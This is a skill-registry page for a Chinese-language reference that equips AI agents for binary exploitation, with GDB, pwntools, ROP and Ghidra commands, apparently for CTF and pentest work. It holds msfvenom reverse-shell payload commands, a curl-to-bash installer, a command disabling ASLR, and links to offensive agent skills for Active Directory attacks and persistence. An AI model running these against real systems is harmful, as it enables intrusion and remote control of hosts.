binary-exploitation-tools
$
npx mdskill add wgpsec/AboutSecurity/binary-exploitation-toolsSelects binary analysis tools for debugging, reverse engineering, and exploitation.
- Enables agents to debug binaries, reverse engineer code, and develop exploits.
- Integrates with GDB, Ghidra, pwntools, and dynamic tracing frameworks.
- Uses decision trees to match toolsets to specific binary analysis scenarios.
- Delivers command references, installation guides, and usage techniques.
SKILL.md
.github/skills/binary-exploitation-toolsView on GitHub ↗
---
name: binary-exploitation-tools
description: "二进制漏洞利用工具集参考。涵盖调试工具(GDB/GEF/pwndbg/r2)、利用开发框架(pwntools/ROPgadget/one_gadget)、反编译工具(Ghidra/IDA/Binary Ninja)、动态分析工具(ltrace/strace/valgrind)。当 Agent 需要选择合适的二进制分析工具、了解工具使用方法、或搭建利用开发环境时触发。"
metadata:
tags: "gdb,pwntools,ghidra,ropgadget,二进制工具,调试,反编译"
category: "exploit/binary"
---
# 二进制漏洞利用工具集
> **核心原则**:根据目标场景选择工具组合 → 调试定位漏洞 → 利用框架开发 exploit → 反编译辅助逆向分析
## 深入参考
- 工具安装、完整命令速查与使用技巧 → [references/binary-tools-reference.md](references/binary-tools-reference.md)
---
## Phase 1: 工具选择决策树
```
场景 → 工具选择:
├─ 需要调试二进制(设断点/单步/查看内存)
│ ├─ Linux ELF → GDB + GEF 或 pwndbg
│ ├─ Windows PE → x64dbg / WinDbg / Immunity Debugger
│ └─ 远程/嵌入式 → gdbserver + gdb-multiarch
├─ 需要反编译/逆向分析
│ ├─ 免费 + 功能强大 → Ghidra
│ ├─ 商业标准 → IDA Pro
│ ├─ 轻量命令行 → radare2 (r2)
│ └─ 快速查看汇编 → objdump
├─ 需要开发利用代码
│ ├─ Python exploit 框架 → pwntools
│ ├─ ROP gadget 搜索 → ROPgadget / ropper
│ ├─ libc one-shot shell → one_gadget
│ └─ Shellcode 生成 → msfvenom
├─ 需要动态追踪
│ ├─ 系统调用追踪 → strace
│ ├─ 库函数调用追踪 → ltrace
│ ├─ 内存错误检测 → valgrind
│ └─ 动态插桩 → Frida
├─ 需要编译测试二进制
│ └─ GCC(控制保护选项编译)
└─ 需要偏移量计算
├─ pwntools cyclic
└─ Metasploit pattern_create / pattern_offset
```
## Phase 2: 调试工具
### GDB 基础
```bash
# 安装
sudo apt-get install gdb
# 启动选项
gdb -q ./target_binary # 安静模式
gdb -q -x commands.gdb ./binary # 自动执行命令文件
gdb -q -p <pid> # attach 到运行中的进程
```
### GDB 核心命令
```bash
# 执行控制
run # 运行程序
start # 运行并在 main 处断下
n / next / ni # 执行下一条(不进入函数)
s / step / si # 执行下一条(进入函数)
c / continue # 继续到下一个断点
finish # 执行到当前函数返回
# 断点
br main # 函数断点
br *0x401234 # 地址断点
br *main+23 # 偏移断点
del <num> # 删除断点
watch <expression> # 值变化时断下
# 查看信息
info functions # 列出所有函数
info registers # 查看寄存器
bt # 调用栈回溯
bt full # 详细调用栈
print <variable> # 打印变量值
p system # 查找 system 函数地址
# 反汇编
disassemble main # 反汇编函数
set disassembly-flavor intel # 使用 Intel 语法
# 内存查看 (x/examine)
x/20gx $rsp # 从 RSP 起查看 20 个 8 字节(十六进制)
x/s <addr> # 查看字符串
x/i $rip # 查看当前指令
x/10i $rip # 查看接下来 10 条指令
# 修改
set $rip = 0x401234 # 修改寄存器
set follow-fork-mode child # 跟踪子进程
```
### GEF (GDB Enhanced Features)
```bash
# 安装
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
# 核心命令
checksec # 检查二进制保护
canary # 搜索 canary 值
vmmap # 查看内存映射
xinfo <addr> # 地址详细信息(所在页/权限/偏移)
search-pattern "/bin/sh" # 在进程内存中搜索字符串
got # 查看 GOT 表
memory watch <addr> <size> byte # 添加内存监视
# 漏洞检测
format-string-helper # 检测不安全的格式化字符串
heap-analysis-helper # 堆分配/释放检测(NULL free/UAF/double free)
# Pattern 偏移计算
pattern create 200 # 生成 200 字节 pattern
pattern search $rsp # 根据 RSP 内容搜索偏移
# Shellcode
shellcode search x86 # 搜索 shellcode
shellcode get 61 # 下载指定 shellcode
# 内存 dump
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
```
### GDB 调试技巧
```bash
# 让 GDB 地址与实际运行一致
# (gdb) unset env LINES
# (gdb) unset env COLUMNS
# (gdb) set env _=/absolute/path/to/binary
# 静态链接二进制定位输入函数
# 运行 → 等待输入 → Ctrl+C → bt(查看调用栈)
# 远程调试
# 目标: gdbserver --multi 0.0.0.0:23947
# 主机: gdb → target remote <ip>:23947
```
### pwndbg(GDB 替代增强插件)
```bash
# 安装
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
# 特色功能: 自动显示寄存器/栈/反汇编/源码
# 命令与 GEF 类似但界面不同
```
## Phase 3: 利用开发框架
### pwntools
```python
from pwn import *
# 上下文设置
context.binary = elf = ELF('./binary')
context.log_level = 'debug'
# 连接方式
p = process('./binary') # 本地进程
p = remote('host', port) # 远程连接
p = gdb.debug('./binary', 'b main') # 带 GDB 调试
# IO 操作
p.sendline(b'payload') # 发送一行
p.send(b'data') # 发送数据
p.recv(1024) # 接收数据
p.recvline() # 接收一行
p.recvuntil(b'> ') # 接收直到匹配
p.interactive() # 交互模式
# 地址与偏移
elf.symbols['main'] # 函数地址
elf.got['puts'] # GOT 条目
elf.plt['puts'] # PLT 条目
next(elf.search(b'/bin/sh')) # 搜索字符串
# Packing
p64(0xdeadbeef) # 64-bit 打包
p32(0xdeadbeef) # 32-bit 打包
u64(data.ljust(8, b'\x00')) # 64-bit 解包
# Cyclic pattern
cyclic(200) # 生成 pattern
cyclic_find(0x61616168) # 查找偏移
# ROP
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call('main')
print(rop.dump())
```
### ROPgadget
```bash
# 搜索所有 gadgets
ROPgadget --binary ./binary
# 搜索特定 gadget
ROPgadget --binary ./binary --only "pop|ret"
ROPgadget --binary ./binary | grep "pop rdi ; ret"
ROPgadget --binary ./binary | grep "pop rsi"
ROPgadget --binary ./binary | grep "syscall"
# 在 libc 中搜索
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"
```
### ropper
```bash
# 搜索 gadget
ropper --file ./binary --search "pop rdi"
ropper --file ./binary --search "jmp esp"
# 生成 ROP chain
ropper --file ./binary --chain execve
```
### one_gadget
```bash
# 在 libc 中查找一键 shell gadget
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# 输出类似:
# 0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
```
### Metasploit 工具
```bash
# Pattern 偏移计算
msf-pattern_create -l 3000
msf-pattern_offset -l 3000 -q 5f97d534
# 汇编指令查 opcode
msf-nasm_shell
# nasm> jmp esp
# ELF 中搜索 gadget
msfelfscan -j esi /path/to/binary
# Shellcode 生成
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -b "\x00\x0a\x0d"
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f c
```
## Phase 4: 反编译与逆向工具
### Ghidra
```
使用场景:
├─ 免费反编译(C 伪代码输出质量高)
├─ 查找栈溢出偏移(通过局部变量位置信息)
│ └─ local_bc 表示缓冲区偏移 0xbc
│ └─ local_10 如果是 canary → 从 local_bc 到 canary 偏移 0xac
├─ 交叉引用分析(找到调用 system/exec 的路径)
├─ 字符串搜索与引用追踪
└─ 脚本自动化分析(Java/Python API)
```
### IDA Pro
```
使用场景:
├─ 商业级反编译(Hex-Rays 反编译器)
├─ 远程调试 Linux 二进制
│ └─ 目标: ./linux_server64 -Ppass
│ └─ IDA: Debugger → Process options → 配置远程 IP
├─ 丰富的插件生态
└─ 高级分析功能(类型恢复、结构体重建)
```
### radare2 (r2)
```bash
# 分析二进制
r2 -A ./binary
# afl # 列出函数
# pdf @main # 反汇编 main
# iz # 列出字符串
# axt @sym.system # 交叉引用
# 查看函数地址
rabin2 -i ./binary # 导入函数及地址
```
### objdump
```bash
# 反汇编可执行段
objdump -d -Mintel ./binary
# 符号表
objdump -t ./binary
# 全部反汇编(含数据段)
objdump -D ./binary
# 查看特定段
objdump -s -j .got ./binary
objdump -s -j .plt ./binary
# 查找函数地址
objdump -t --dynamic-relo ./binary | grep puts
objdump -D ./binary | grep "VAR_NAME"
# 查看重定位
objdump -TR ./binary
```
## Phase 5: 动态分析工具
### strace / ltrace
```bash
# 系统调用追踪
strace ./binary
strace -f ./binary # 跟踪 fork 的子进程
strace -e trace=read,write ./binary # 只追踪特定系统调用
# 库函数调用追踪
ltrace ./binary
ltrace -e strcmp ./binary # 只追踪 strcmp 调用
```
### 库地址与偏移查找
```bash
# 查看 libc 加载地址
ldd ./binary | grep libc.so.6
# 多次运行查看 ASLR 影响
for i in $(seq 0 20); do ldd ./binary | grep libc; done
# 查找 libc 中函数偏移
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " system"
# 查找 "/bin/sh" 字符串偏移
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
```
### Core Dump 分析
```bash
# 启用 core dump
ulimit -c unlimited
sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
# 分析 core dump
gdb --core=/tmp/core-binary.1234 --quiet ./binary
```
### qltool (Qiling 框架)
```bash
# 反汇编追踪(记录每条执行的指令)
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./binary
```
### Immunity Debugger (Windows)
```bash
# Mona 插件命令
!mona modules # 查看模块保护状态
!mona find -s "\xff\xe4" -m module.dll # 在模块中搜索 JMP ESP opcode
```
## GCC 编译选项(测试用)
```bash
# 关闭所有保护编译
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack -o vuln vuln.c
# 各选项说明
# -fno-stack-protector → 禁用 Stack Canary
# -D_FORTIFY_SOURCE=0 → 禁用 Fortify Source
# -z norelro → 禁用 RELRO
# -z execstack → 栈可执行(禁用 NX)
# -no-pie → 禁用 PIE
# -g → 包含调试信息
# 编译 shellcode
nasm -f elf64 shellcode.asm # 汇编 → .o
ld shellcode.o -o shellcode # 链接 → 可执行
# 关闭系统 ASLR(测试环境)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
## 工具速查
| 类别 | 工具 | 用途 |
|------|------|------|
| 调试 | GDB + GEF | Linux 标准调试器 + 增强插件 |
| 调试 | pwndbg | GDB 另一款增强插件 |
| 调试 | gdb-multiarch | 跨架构远程调试 |
| 调试 | x64dbg | Windows 调试器 |
| 利用框架 | pwntools | Python exploit 开发 |
| 利用框架 | ROPgadget | ROP gadget 搜索 |
| 利用框架 | ropper | gadget 搜索 + chain 生成 |
| 利用框架 | one_gadget | libc one-shot shell |
| 利用框架 | msfvenom | shellcode 生成 |
| 逆向 | Ghidra | 免费反编译器 |
| 逆向 | IDA Pro | 商业反编译器 |
| 逆向 | radare2 | 命令行逆向框架 |
| 逆向 | objdump | 快速反汇编 |
| 动态分析 | strace | 系统调用追踪 |
| 动态分析 | ltrace | 库函数追踪 |
| 动态分析 | Frida | 动态插桩 |
| 编译 | GCC / nasm | 测试二进制编译 |
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|